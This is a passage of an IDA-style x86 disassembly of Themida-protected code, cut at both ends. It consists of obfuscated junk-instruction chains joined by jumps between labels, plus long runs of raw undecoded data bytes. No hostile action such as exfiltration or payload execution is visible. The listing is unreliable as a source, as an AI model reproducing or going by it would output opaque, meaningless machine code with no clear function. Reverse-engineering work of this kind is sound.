4240483h, 0E924148Bh, 4C2Bh, 7DA6EB81h, 148B6AB2h, 0E7895724h dd 4C781h, 0C7810000h, 4, 5C243C87h, 4B951h, 6E90000h db 25h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55CDF7: ; CODE XREF: Themida_:00564887j sub [esp], edi pop edi not edi sub edi, 75B5B02h push ecx jmp loc_564B24 ; --------------------------------------------------------------------------- loc_55CE09: ; CODE XREF: Themida_:005562A0j shr eax, 2 sub eax, 41773AF6h or eax, 4ABF5986h inc eax and eax, 790F5F34h sub eax, 480F5D2Ch add edi, eax pop eax xchg edi, [esp] jmp loc_561B41 ; --------------------------------------------------------------------------- dd 0E9242C87h, 4618h, 33241C31h, 575C241Ch, 42474FFh, 24048F5Fh dd 0FFA37FE9h, 24F381FFh, 0C1537F14h, 0BA5208E3h, 9CA09CB0h dd 13E9D331h, 89FFFFF3h, 4BA2414h, 81000000h, 0BD4B3BE9h dd 81D1015Bh, 0BD4B3BC1h, 24148B5Bh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push ebx sub esp, 4 mov [esp], esp add dword ptr [esp], 4 mov ebx, [esp] add esp, 4 add ebx, 4 sub esp, 4 mov [esp], ecx mov ecx, 4 sub ebx, ecx pop ecx push ebx push dword ptr [esp+4] jmp loc_5615AA ; --------------------------------------------------------------------------- dd 4FE932FFh db 29h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55CEC7: ; CODE XREF: Themida_:0056404Ej not ecx jmp loc_56418C ; --------------------------------------------------------------------------- dw 2C81h dd 29456E24h, 0C5815D33h, 3329456Eh, 43B8505Bh, 0E9034E31h dd 2DEAh ; --------------------------------------------------------------------------- loc_55CEE8: ; CODE XREF: Themida_:005536A7j add edx, ebx jmp loc_551A99 ; --------------------------------------------------------------------------- db 8Bh dd 0C481241Ch, 4, 8B243C87h, 66642424h, 8CE90289h, 0B9FFFFA7h dd 2AE255C0h, 0FF8B61E9h db 0FFh ; --------------------------------------------------------------------------- loc_55CF11: ; CODE XREF: Themida_:00553353j push dword ptr [esp] pop ebx add esp, 4 push edx push dword ptr [esp+4] mov edx, [esp] jmp loc_554069 ; --------------------------------------------------------------------------- db 50h, 0B8h, 77h dd 68709A05h, 9D284DC3h, 58C3015Bh, 69A7C381h, 4BE97DBDh db 32h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55CF3F: ; CODE XREF: Themida_:005526D8j mov [esp], ebp jmp loc_56077C ; --------------------------------------------------------------------------- db 30h dd 1C8B66FEh, 2C48124h, 0E9000000h, 0FFFF48A9h, 68241489h dd 70717DFFh, 8324148Bh, 0C0E904C4h, 5F000046h, 6ACAE9h dd 2766B800h, 0D0F71494h, 0F0114E35h, 362D054Dh, 0C1015964h dd 4C18158h, 87000000h, 99E9240Ch, 58FFFF36h, 8108E3C1h dd 81CEB2EBh, 0CC581FEh, 2937DB19h, 8C7DE9DDh, 15FFFFFh dd 61F1E9E8h, 3C8B0000h, 0E7895724h, 4C781h, 0C7830000h dd 74E95704h, 0BBFFFFF1h, 7CF73AA8h, 2446E381h, 0E3811EC1h dd 51586D32h, 2001EB81h, 0D9011040h, 4EC815Bh, 89000000h dd 43BB241Ch, 0E943EF51h, 71F3h, 240CFF53h, 0A8F6E95Bh dd 0C581FFFFh, 48916016h, 418BE9h, 98C68000h, 8B5AF000h dd 0F8E9241Ch, 5B000072h, 1E7BED81h, 63E9016Bh, 29FFFFF4h dd 0B4B951DAh, 411C3049h, 0E901C183h, 443Ch, 241C895Ch dd 663EE9h db 0 ; --------------------------------------------------------------------------- loc_55D03D: ; CODE XREF: Themida_:00555165j pop ecx jmp loc_5517CE ; --------------------------------------------------------------------------- db 8Fh dd 4812404h, 424h, 24048B00h, 0E9E08950h, 0FFFFDA75h, 241C895Ch dd 5B47E5BBh, 0A74E911h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55D066: ; CODE XREF: Themida_:00564121j add esp, 4 jmp loc_564C39 ; --------------------------------------------------------------------------- dw 0FA30h dd 1DEBE95Bh, 4870000h, 87D0F724h, 0C8B2404h, 4C48324h dd 5E240C87h, 55D6F74Eh, 0FFF048E9h, 0DCC681FFh, 8116B740h dd 0A1B63E6h, 2BCE8109h, 816A0B1Ah, 45243EEEh, 0E9F72998h dd 0FFFFAC8Fh, 6602EC83h, 0E9240C89h, 58FBh, 1FE268h, 243C8900h dd 5A285FBFh, 2863681Fh, 67E91F5Ah db 0FBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55D0D3: ; CODE XREF: Themida_:0055C873j mov ecx, 1AE74711h sub ecx, 0FFFFFFFFh push 2F74h jmp loc_561452 ; --------------------------------------------------------------------------- dd 2502D9BFh, 2E7C169h, 935EEF81h, 0F8296505h, 5F8015Fh dd 3F8E7806h, 0B84E242Dh, 0F53AE97Ah, 0BE56FFFFh, 7C1770B8h dd 8F4CC681h, 0D8E983E8h db 0EFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55D11B: ; CODE XREF: Themida_:0055B55Bj xor ecx, ebx pop ebx jmp loc_564D20 ; --------------------------------------------------------------------------- db 29h dd 335A58C6h, 34312434h, 24343324h, 2434FF5Ch, 0EC835558h dd 24248904h, 4240481h, 5D000000h, 0FF5A16E9h db 0FFh ; --------------------------------------------------------------------------- loc_55D149: ; CODE XREF: Themida_:0055A2BFj pop edx mov esi, ebp mov ebp, [esp] add esp, 4 add ebx, 3A027882h add ebx, esi sub ebx, 3A027882h jmp loc_553B77 ; --------------------------------------------------------------------------- dd 0B1E9D9F7h, 5EFFFF76h, 4C481h, 0ACE90000h db 0B8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55D17B: ; CODE XREF: Themida_:0055A682j push eax mov eax, 4 jmp loc_5510CD ; --------------------------------------------------------------------------- loc_55D186: ; CODE XREF: Themida_:00559E54j add ecx, 1 or ecx, 77A3FC3h jmp loc_555AEF ; --------------------------------------------------------------------------- loc_55D197: ; CODE XREF: Themida_:0055FA2Aj add ebp, edi pop edi push 767Dh mov [esp], ebp push dword ptr [esp+4] mov ebp, [esp] add esp, 4 pop dword ptr [esp] jmp loc_553468 ; --------------------------------------------------------------------------- dd 66C80166h, 666C872Dh, 54E9E959h, 4FE9FFFFh, 0B7FFFF26h dd 80E7D0E1h, 80E96AC7h, 0F700004Ah, 5FCEE9D2h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55D1DA: ; CODE XREF: Themida_:0054FE73j sub edx, 776C314Ch shr edx, 1 jmp loc_55A462 ; --------------------------------------------------------------------------- db 89h dd 0D7E9241Ch db 60h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55D1EF: ; CODE XREF: Themida_:0055F37Ej pop esi mov edx, [esp] add esp, 4 add ebp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] push eax jmp loc_553587 ; --------------------------------------------------------------------------- db 0F7h, 0D3h, 0E9h dd 4B53h, 4BBh, 78B85000h, 29401E26h, 0DE0158C6h, 2678C681h dd 815B401Eh, 4C6h, 24343300h, 0FFC5A8E9h, 240C33FFh, 0F624248Bh dd 0B60F66E1h, 14D668CCh, 2C890000h, 81E58924h, 4C5h, 7EE95600h dd 0D300001Bh, 0E99C240Ch, 7769h, 81EB874Dh, 0FE3513E3h dd 4EC8136h, 89000000h, 6DBF243Ch, 81278745h, 0C3737ECFh dd 0F3F7811Bh, 0F771786Fh, 0E9D7F7D7h, 0FFFF7A5Ch, 4C381h dd 1C870000h, 34FF5C24h, 0C4815B24h, 4, 0FFE3DFE9h db 0FFh ; --------------------------------------------------------------------------- loc_55D2AD: ; CODE XREF: Themida_:00552247j pop edi jmp loc_5627CE ; --------------------------------------------------------------------------- db 55h dd 0F41B2DBDh, 81D5F704h, 0EF56C8E5h, 3E5811Ah, 8137317Ch dd 3F02F0CDh, 40CD812Dh, 0E90FF203h, 5B1Bh, 4838CA81h dd 0AE6803D2h, 89000043h, 37BE2434h, 5763717Dh, 28CBE9h dd 0E3895300h, 4C381h, 0C3830000h, 241C8704h, 4BF575Ch dd 81000000h, 0D84A3EC6h, 81FE0155h, 0D84A3EEEh, 243C8B55h dd 8904EC83h, 0BFE9240Ch, 5EFFFF87h, 43FCE9h db 0 ; --------------------------------------------------------------------------- loc_55D329: ; CODE XREF: Themida_:0055C031j mov edx, 73D423AFh shr edx, 4 push ecx mov ecx, 7FFD5BD4h add ecx, 4BBF0AD8h xor ecx, 159932A9h jmp loc_5573ED ; --------------------------------------------------------------------------- loc_55D348: ; CODE XREF: Themida_:0055AAD4j mov esi, 3D75357Ah jmp loc_557268 ; --------------------------------------------------------------------------- loc_55D352: ; CODE XREF: Themida_:00555DA1j add eax, 263B1381h sub esp, 4 mov [esp], edi jmp loc_552D73 ; --------------------------------------------------------------------------- loc_55D362: ; CODE XREF: Themida_:0055885Cj or bp, 59B7h sub bp, 0F8ABh sub bx, bp pop ebp sub bx, 7C8h mov esi, [esp] add esp, 4 add bx, 11h add bx, 778Dh movzx eax, ax jmp loc_559DAA ; --------------------------------------------------------------------------- db 0B8h, 2Bh, 79h dd 0D32D3447h, 48307A69h, 441E0D05h, 389E9B8h, 0E6B90000h dd 299997C4h, 0EE8959CDh, 6736E95Dh db 2 dup(0) ; --------------------------------------------------------------------------- loc_55D3B2: ; CODE XREF: Themida_:005644F8j pop dword ptr [esp] pop esp sub esp, 4 mov [esp], esi mov esi, 73E8280Dh push ecx jmp loc_555DA6 ; --------------------------------------------------------------------------- db 88h dd 34FF8734h, 0C4815A24h, 4, 57240C8Bh, 5C36E9h db 0 ; --------------------------------------------------------------------------- loc_55D3DD: ; CODE XREF: Themida_:0055C76Ej push edi not dword ptr [esp] pop edi push eax push edi pop eax mov edi, [esp] jmp loc_5558B1 ; --------------------------------------------------------------------------- loc_55D3ED: ; CODE XREF: Themida_:00555A08j xor eax, [esp] xor [esp], eax jmp loc_55E17F ; --------------------------------------------------------------------------- dd 7E2C15Fh, 0FFFFEA81h, 0C281FFFFh, 4F58782Dh, 0FD2AEA81h dd 0D78996E9h, 5FF8015Ah, 2474FF50h, 24048B04h, 4C481h dd 0AE90000h, 51FFFF3Bh, 8904EC83h, 55572414h, 9A36FC68h dd 1429E932h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55D43A: ; CODE XREF: Themida_:005559CEj sub ebp, 4 push ebp push dword ptr [esp+4] mov ebp, [esp] add esp, 4 pop dword ptr [esp] jmp loc_559FA7 ; --------------------------------------------------------------------------- dd 0FF23C1E9h db 0FFh ; --------------------------------------------------------------------------- loc_55D455: ; CODE XREF: Themida_:00562890j xchg ecx, [esp] pop esp add ecx, ebx pop ebx push ecx pop esi mov ecx, [esp] add esp, 4 sub [esp+4], esi pop esi jmp loc_552410 ; --------------------------------------------------------------------------- db 66h, 8Bh, 0Ch aSO db '$o',0 align 2 dw 0CF29h dd 4909C781h, 81593A5Eh, 0EB52A2C7h, 0C7815976h, 2, 8B243C87h dd 1CE92424h db 6Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55D49B: ; CODE XREF: Themida_:00555EEAj mov [esp], edi push 57A5h mov [esp], edi mov edi, 27731B42h xor [esp+4], edi pop edi mov ebp, [esp] push ecx mov ecx, esp add ecx, 4 jmp loc_5597F0 ; --------------------------------------------------------------------------- db 5Dh, 81h, 0C5h dd 55977503h, 2C8BEB29h, 8B545724h, 8950243Ch, 405E0h dd 0BE90000h, 83FFFFADh, 82E904ECh, 89FFFF8Ch, 4C581E5h dd 81000000h, 4EDh, 74FF5500h, 0E95D0424h, 24AEh ; --------------------------------------------------------------------------- loc_55D500: ; CODE XREF: Themida_:0055FFE1j push 6F341D78h jmp loc_560BC9 ; --------------------------------------------------------------------------- dw 0C781h dd 12721D12h, 0AAE9F729h db 0B1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55D517: ; CODE XREF: Themida_:0055D796j push dword ptr [esp] pop ecx add esp, 4 add ecx, 4 jmp loc_55AAA2 ; --------------------------------------------------------------------------- loc_55D529: ; CODE XREF: Themida_:00561EA6j push dword ptr [esp] mov ebx, [esp] add esp, 4 push 1978h mov [esp], ebx mov ebx, esp jmp loc_554391 ; --------------------------------------------------------------------------- db 0B8h, 0D8h, 76h dd 0BA5278C1h, 2CB22DCDh, 55AD021h, 1CACE742h, 8158C529h dd 0FD0C1AC5h, 0E9EA0155h, 0FFFF39EDh, 0DABBE957h, 0D101FFFFh dd 0FF5E0BE9h, 243481FFh, 29036807h, 0AAB9515Fh, 0E9337243h dd 0FFFF2A02h ; --------------------------------------------------------------------------- loc_55D584: ; CODE XREF: Themida_:005573E8j push 38F6h jmp loc_5577BC ; --------------------------------------------------------------------------- loc_55D58E: ; CODE XREF: Themida_:00562751j push ebx push edi mov edi, 42857FDh mov ebx, 647CC6CBh sub ebx, edi pop edi push eax mov eax, 9FAB915Ah mov edx, eax jmp loc_55EBF4 ; --------------------------------------------------------------------------- loc_55D5AA: ; CODE XREF: Themida_:0056015Ej mov [esp], edx mov edx, 48A932F0h push esi mov esi, 2F3F4811h sub [esp+8], esi pop esi sub [esp+4], edx push edi mov edi, 2F3F4811h jmp loc_55B7AD ; --------------------------------------------------------------------------- dd 6804C483h, 2805h, 83240C89h, 0C8904ECh, 0D77AE924h dd 665CFFFFh, 68240C8Bh, 3AF4h, 68241C89h, 3C25h, 55242489h dd 690068h, 2DE6E900h, 5253FFFFh, 0F788CE88h, 5324148Bh dd 0FAE9E389h, 0BB000019h, 3D4E7ACFh, 815BDF31h, 468098C7h dd 5FF9014Eh, 4EC81h, 4AE90000h, 0BAFFFF9Eh, 7C4C62F6h dd 0FF3472E9h, 20CD80FFh, 87C580h, 240C8BEBh, 45EE9h, 4C48300h dd 4C481h, 5E90000h db 27h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55D657: ; CODE XREF: Themida_:0055444Cj mov [esp], ecx push 1 mov ecx, [esp] jmp loc_5636B4 ; --------------------------------------------------------------------------- db 0BDh dd 281E7B05h, 54F0F581h, 0EA094D07h, 0FF55EFE9h, 243C33FFh dd 6624248Bh, 9C2424D3h, 0FF218DE9h, 81E589FFh, 4C5h, 4ED8100h dd 0E9000000h, 397Fh ; --------------------------------------------------------------------------- loc_55D69C: ; CODE XREF: Themida_:005511E4j sub edi, 3D023A0Ch add edi, ebp push ebp mov ebp, 3D023A0Ch add edi, ebp pop ebp jmp loc_55C350 ; --------------------------------------------------------------------------- dw 0C581h dd 3D125332h, 7A7EE581h, 0F5814EB4h, 48941A38h, 4E9EE01h db 0F5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55D6CB: ; CODE XREF: Themida_:00558439j pop ebx push ecx mov cl, 41h jmp loc_564B1A ; --------------------------------------------------------------------------- loc_55D6D4: ; CODE XREF: Themida_:00553EFEj mov ecx, 24h add ecx, edi mov [ecx], edx pop ecx push dword ptr [esp] pop edx sub esp, 4 mov [esp], edx push esp jmp loc_553CE2 ; --------------------------------------------------------------------------- dw 5C68h dd 89000003h, 4BD242Ch, 1000000h, 242C8BEFh, 746EE9h, 5AD72900h dd 0FF6E2EE9h, 0C28142FFh, 636A6A14h, 0E907EAC1h, 0FFFFC844h dd 24048B66h, 7DA86852h, 0F2E90000h, 31000041h, 0D60158C2h dd 6682E95Ah, 815C0000h, 4C5h, 2685300h, 5B000000h, 2695E9h db 0 ; --------------------------------------------------------------------------- loc_55D749: ; CODE XREF: Themida_:005647ECj xor esi, 170DA6Ah jmp loc_554737 ; --------------------------------------------------------------------------- loc_55D754: ; CODE XREF: Themida_:0055201Fj xor edx, 84F9FDFBh add eax, edx pop edx mov ecx, eax jmp loc_553ACE ; --------------------------------------------------------------------------- loc_55D764: ; CODE XREF: Themida_:00564F2Ej pop esp mov [esp], esi push eax jmp loc_561166 ; --------------------------------------------------------------------------- dw 8951h dd 4B850E1h, 1000000h, 97E958C1h db 4Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_55D77F: ; CODE XREF: Themida_:00555935j mov edx, [esp] push 2C8h mov [esp], ecx push 686Bh mov [esp], esp add dword ptr [esp], 4 jmp loc_55D517 ; --------------------------------------------------------------------------- db 81h dd 4C3h, 6E4E900h, 0E6C10000h, 0C6E68103h, 4E459479h, 7028F681h dd 0D6F75429h, 0DEF7DEF7h, 783DE956h, 248BFFFFh, 2CD36624h dd 47E99C24h, 81FFFF20h, 6271D3C2h, 0B3BE5617h, 315A9CD2h dd 0D1895EF2h, 8324148Bh, 0CB8904C4h, 14F75359h, 0CB815B24h dd 748C576Dh, 8107E3C1h, 4E367CCBh, 5FC38146h, 29136A3Dh dd 0ED815BDDh, 1, 0FF99F3E9h, 0B7C580FFh, 80D2E580h, 0EE88E7EDh dd 5AF78859h, 0FFAA59E9h, 1C8B59FFh, 4C48324h, 45436852h dd 0C890000h, 64A6B924h, 0F1816205h, 31B407A2h, 4BC7E181h dd 87492A52h, 0E9D2F7D1h, 13Ah, 815DEE29h, 1A208CEEh, 81CE2920h dd 1A208CC6h, 0E98AE920h, 0A404FFFFh, 26E7E9h, 24148B00h dd 4C481h, 47210000h, 24048B1Ch, 32FD68h, 242C8900h, 0B850E589h dd 0FA01C66h, 2D02E0C1h, 3E807194h, 2F71C581h, 0C50147C4h dd 0FF3D1AE9h, 4EC83FFh, 0FF9FD0E9h, 24248BFFh, 0FF1F65E9h dd 4C483FFh, 0C781F701h, 41812175h, 8124348Bh, 4C4h, 0E0895000h dd 405h, 42D00h, 4870000h, 1C895C24h, 4BB24h, 0DF010000h dd 243C335Bh, 33243C31h, 248B243Ch, 0D56AE924h, 3489FFFFh dd 2474FF24h, 24348B04h, 8F04C483h, 0DBE92404h, 57FFFFFCh dd 91E951h, 0E95F0000h, 570h, 4EC81h, 0EE90000h db 5Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55D91F: ; CODE XREF: Themida_:0055A14Fj add edx, 4 add edx, 4 push edx push dword ptr [esp+4] mov edx, [esp] add esp, 4 pop dword ptr [esp] pop esp jmp loc_55784C ; --------------------------------------------------------------------------- dw 0EEC1h dd 0C53FE902h, 1C31FFFFh, 241C3324h, 6624248Bh, 66241489h dd 0B7E99C50h, 0BDFFFF1Eh, 28E150C2h, 787DCD81h, 0A4E9287Eh db 56h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55D96F: ; CODE XREF: Themida_:0055C08Aj mov ebp, esp jmp loc_55C73B ; --------------------------------------------------------------------------- dw 1C8Bh dd 4C48324h, 335DE801h, 4312404h, 90F5E924h, 0D131FFFFh dd 0D131CA31h, 0FFA31FE9h, 445268FFh, 0C9E90000h, 0B9FFFFE7h dd 4A9343E8h, 0C141D1F7h, 0F74104E1h, 0B6E957D9h, 81FFFF3Eh dd 4C7h, 0BD555200h, 2, 21EB68h, 9099E900h, 0E94FFFFFh dd 4D40h, 0F7802AB7h, 1BEF80B1h, 0FF83D5E9h, 4C283FFh dd 8B241487h, 0C4832424h, 637F6804h, 1C890000h, 52E38924h dd 4BAh, 6290E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55D9FE: ; CODE XREF: Themida_:00556DD0j add esp, 4 shr eax, 12h xor eax, ecx push 1E98h mov [esp], edi mov edi, esp add edi, 4 push eax mov eax, 4 add edi, 33FF3CC0h sub edi, eax sub edi, 33FF3CC0h pop eax xchg edi, [esp] mov esp, [esp] mov [esp], eax xor [esp], eax xor eax, [esp] xor [esp], eax push 5B31h mov [esp], eax xchg edx, [esp] jmp loc_54FDAC ; --------------------------------------------------------------------------- aUiSpb db 'UB',0 align 4 aRSV db 'RS',0 dw 5AF0h aWs_n db 'W_N',0 align 2 loc_55DA66: ; CODE XREF: Themida_:005541D5j push edx mov edx, 4 jmp loc_55EC6F ; --------------------------------------------------------------------------- db 83h, 4, 24h dd 0BF575B04h, 6D960CC2h, 7580BE56h, 0EE8112E2h, 5A981658h dd 524068h, 24048900h, 1C6A58B8h, 0B7E95116h, 88FFFFBDh dd 8B042464h, 51E92404h, 83FFFFA8h, 0C32804C4h, 4B03E9h dd 52E18900h, 372FE955h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55DABA: ; CODE XREF: Themida_:00555B09j push esi mov esi, 6D6D524Bh mov eax, 59736329h xor eax, esi pop esi jmp loc_564697 ; --------------------------------------------------------------------------- loc_55DACD: ; CODE XREF: Themida_:0055953Aj sub eax, 0D5033892h or edx, eax pop eax jmp loc_5646D3 ; --------------------------------------------------------------------------- dw 0F381h dd 539E25A4h, 226FCB81h, 87E91E6Ch, 52FFFF1Dh, 0C281E289h dd 4, 0FFB903E9h, 0E95451FFh, 0FFFF2113h, 5159CB01h, 297D0AB9h dd 49F1814Eh, 0C1418B05h, 0F18103E1h, 780263BFh, 0FF3839E9h db 0FFh ; --------------------------------------------------------------------------- loc_55DB1D: ; CODE XREF: Themida_:00561DD4j pop esi sub esp, 4 mov [esp], esi add dword ptr [esp], 6FCF462Dh pop edi sub edi, 6FCF462Dh mov esi, [esp] add esp, 4 mov edx, [esp] add esp, 4 jmp loc_55A7FD ; --------------------------------------------------------------------------- loc_55DB46: ; CODE XREF: Themida_:00552149j sub esp, 4 mov [esp], ebx mov ebx, 193C558Bh sub ebx, 4D5F2A7Dh push ecx mov ecx, 787E11EAh add ebx, ecx pop ecx push esi push ebx mov ebx, 0 mov esi, ebx pop ebx sub esi, ebx push edx mov edx, esi mov ebx, edx pop edx mov esi, [esp] add esp, 4 sub ebx, 0B05095F3h xchg esi, ebx not esi xchg esi, ebx push edx mov edx, 316A3A7Ch sub edx, 4BC92574h not edx jmp loc_556274 ; --------------------------------------------------------------------------- db 0BAh, 0B0h, 5Bh dd 0E281669Ah, 2582602Eh, 4EC81h, 1C890000h, 7363E924h dd 0BE560000h, 19B239F9h, 0FFC205E9h, 241C8BFFh, 81E78957h dd 4C7h, 4C78300h, 0E9243C87h, 0FFFF98FBh, 0FF1C39E9h db 0FFh ; --------------------------------------------------------------------------- loc_55DBDD: ; CODE XREF: Themida_:00563159j push esi mov esi, esp add esi, 4 jmp loc_55E975 ; --------------------------------------------------------------------------- db 88h dd 4C8A58C3h, 5C880424h, 1C8B0424h, 55E95224h, 81000056h dd 222751C1h, 0E9D1F748h, 0FFFF6F25h, 0B8240489h, 7F412961h dd 4A2EE9h, 24248B00h, 0E9240489h, 0FFFF1BF2h, 31243C33h dd 4AE9243Ch, 58FFFFFAh, 4C181h, 2E90000h, 8BFFFFBFh, 8950242Ch dd 405E0h, 0CFE90000h, 66000023h, 2404AB0Fh, 1BC0E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55DC56: ; CODE XREF: Themida_:0055653Aj push esi not dword ptr [esp] pop esi push 5A68h mov [esp], eax jmp loc_55A7CC ; --------------------------------------------------------------------------- dd 81242489h, 42404h, 48F0000h, 24048324h, 2434FF04h, 4C4815Eh dd 68000000h, 49EFh, 0FFF55AE9h, 54535CFFh, 4C3815Bh, 83000000h dd 1C8704C3h, 0EC815C24h, 4, 0FF9182E9h db 0FFh ; --------------------------------------------------------------------------- loc_55DCA9: ; CODE XREF: Themida_:00556931j pop ebp mov esi, 4BBA6A9Ah sub esi, edx pop edx mov ecx, 3C841414h sub ecx, esi jmp loc_55C42F ; --------------------------------------------------------------------------- dw 0EEC1h dd 61F68106h, 2903FF5Ah, 3C875EF7h, 4895C24h, 0E9585424h dd 404Eh, 4C481h, 8AE90000h, 89FFFF7Ch, 79E92434h db 4Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55DCEB: ; CODE XREF: Themida_:005619F6j pop ebp pop ebx or edi, 321A2509h not edi inc edi sub esp, 4 mov [esp], edx push ecx push eax mov eax, 6A02C9h inc eax inc eax not eax add eax, 12CB4CF5h mov ecx, eax pop eax mov edx, 54F85383h sub edx, ecx jmp loc_556ED3 ; --------------------------------------------------------------------------- db 1 dd 0BAB4E9C5h, 0C981FFFFh, 465123A6h, 1E14E981h, 0E181BCD6h dd 5CA76D32h, 5046E9h db 0 ; --------------------------------------------------------------------------- loc_55DD39: ; CODE XREF: Themida_:00561DF3j sub bl, dl sub bl, 7Bh sub bl, 91h sub bl, 0D2h pop edx jmp loc_557286 ; --------------------------------------------------------------------------- loc_55DD4A: ; CODE XREF: Themida_:00560015j sub ebp, 233D3E3Fh add ebp, edx push esi mov esi, 32431152h jmp loc_55703B ; --------------------------------------------------------------------------- loc_55DD5D: ; CODE XREF: Themida_:0055CD1Dj pop edi push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp xor ecx, [esp] xor [esp], ecx xor ecx, [esp] mov esp, [esp] shl byte ptr [esp], cl pushf jmp loc_54F816 ; --------------------------------------------------------------------------- db 0F7h dd 0AEEB81D3h, 896CB891h, 0CEE95BD8h, 81FFFFACh, 4C4h dd 0C8B5E00h, 4C48324h, 52243C8Bh, 0C281E289h, 4, 8704C283h dd 0E95C2414h, 0FFFF1A5Eh, 0CFCB850h, 0C531716Eh, 6028E958h dd 0C083FFFFh, 24048702h, 3824248Bh, 3FE99CC1h db 1Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55DDD7: ; CODE XREF: Themida_:00554CD6j and ebp, 1C823A2Dh dec ebp push edx mov edx, 0E8F386Fh add ebp, 5E4C745Dh add ebp, edx sub ebp, 5E4C745Dh jmp loc_5548A7 ; --------------------------------------------------------------------------- db 80h dd 0EE8016EFh, 80FE28A7h, 0E95BA7C6h, 0FFFFE4F0h ; --------------------------------------------------------------------------- loc_55DE08: ; CODE XREF: Themida_:00556A1Aj mov [esp], ecx sub esp, 4 mov [esp], esi jmp loc_563D44 ; --------------------------------------------------------------------------- db 50h, 0E9h, 0Ah db 0EAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55DE1F: ; CODE XREF: Themida_:00556363j pop dx and ah, 0F2h sub ah, 21h mov dh, ah jmp loc_55A3F9 ; --------------------------------------------------------------------------- dw 43B9h dd 0BD56813Bh, 0D5243E7h, 5259CD01h, 0E27AE950h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55DE42: ; CODE XREF: Themida_:0054FBAEj pop esp jmp loc_5633E1 ; --------------------------------------------------------------------------- dd 81240C8Bh, 4C4h, 0EABD5500h, 29789559h, 69DE9E9h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55DE5E: ; CODE XREF: Themida_:00555D43j sub ch, 7Fh jmp loc_55C43A ; --------------------------------------------------------------------------- dw 0EE81h dd 123F6859h, 0BB53CE29h, 123F6859h, 0FF659AE9h db 0FFh ; --------------------------------------------------------------------------- loc_55DE79: ; CODE XREF: Themida_:00554ACEj xor esi, 75DE7FB7h jmp loc_54FC4C ; --------------------------------------------------------------------------- dd 3B5FE94Dh, 0BD55FFFFh, 4, 875DEB01h, 0F75C241Ch, 354840D0h dd 0A239A489h, 242C8150h, 0A254620h, 0FF2F33E9h db 0FFh ; --------------------------------------------------------------------------- loc_55DEAD: ; CODE XREF: Themida_:0055F51Fj push eax mov eax, 1A31380h mov esi, 54E54EB0h xor esi, eax mov eax, [esp] jmp loc_554AC5 ; --------------------------------------------------------------------------- dw 1AB9h dd 0F70E7872h, 0FFE981D9h, 51FFFFFFh, 0E92414F7h, 0FFFF4B0Eh ; --------------------------------------------------------------------------- loc_55DED8: ; CODE XREF: Themida_:00560FF6j pop esp push edx mov edx, 711D37BFh jmp loc_55BF91 ; --------------------------------------------------------------------------- loc_55DEE4: ; CODE XREF: Themida_:00553869j pop ecx jmp loc_5526E5 ; --------------------------------------------------------------------------- loc_55DEEA: ; CODE XREF: Themida_:00552196j mov [esp], ecx push edx jmp loc_55BBD2 ; --------------------------------------------------------------------------- db 5Eh dd 0FF277FE9h db 0FFh ; --------------------------------------------------------------------------- loc_55DEF9: ; CODE XREF: Themida_:00553DC5j or esi, 40A0704Dh jmp loc_55005C ; --------------------------------------------------------------------------- dd 0E905E6C1h, 0FFFF3270h, 0E41AB4BAh, 81D2F718h, 404BCEEAh dd 5AF28147h, 0E900527Ah, 5D86h, 0F7241489h, 815A2414h dd 98435EAh, 0EC815292h, 4, 0E9240489h, 0FFFFC32Fh, 0C380D3F6h dd 65A3E9FFh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55DF4A: ; CODE XREF: Themida_:005606ECj jz loc_55A906 push dword ptr [edi+28h] push dword ptr [esp] push dword ptr [esp] push dword ptr [esp] pop eax add esp, 4 push ebp mov ebp, esp add ebp, 4 add ebp, 4 push ebp push dword ptr [esp+4] mov ebp, [esp] jmp loc_556D85 ; --------------------------------------------------------------------------- db 50h, 0E9h, 0C2h dd 66FFFFF5h, 0E924248Bh, 0FFFF188Eh, 207F83ADh, 271AE900h dd 0C3810000h, 3896741Bh, 8330EB81h, 0DA29DB49h, 81525F5Bh dd 59D0242Ch, 348B3542h, 4C48324h, 59D0BA52h, 0D6013542h dd 8124148Bh, 4C4h, 0F1015A00h, 223BE95Eh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55DFCA: ; CODE XREF: Themida_:00559716j mov edx, esp sub esp, 4 mov [esp], ecx push ebx mov ebx, 4 mov ecx, ebx pop ebx add edx, ecx push dword ptr [esp] pop ecx add esp, 4 jmp loc_55B5E8 ; --------------------------------------------------------------------------- loc_55DFEC: ; CODE XREF: Themida_:005527E0j mov [esp], ecx jmp loc_5632A8 ; --------------------------------------------------------------------------- loc_55DFF4: ; CODE XREF: Themida_:00559A7Fj add esi, edx mov edx, [esp] add esp, 4 jmp loc_551F31 ; --------------------------------------------------------------------------- dd 8159CB89h, 0DF04246Ch, 1647265h, 8104245Ch, 0DF042444h dd 8B647265h, 0C481241Ch, 4, 0E924348Bh, 0FFFF382Ch, 4C481h dd 0EF810000h, 2B711A74h, 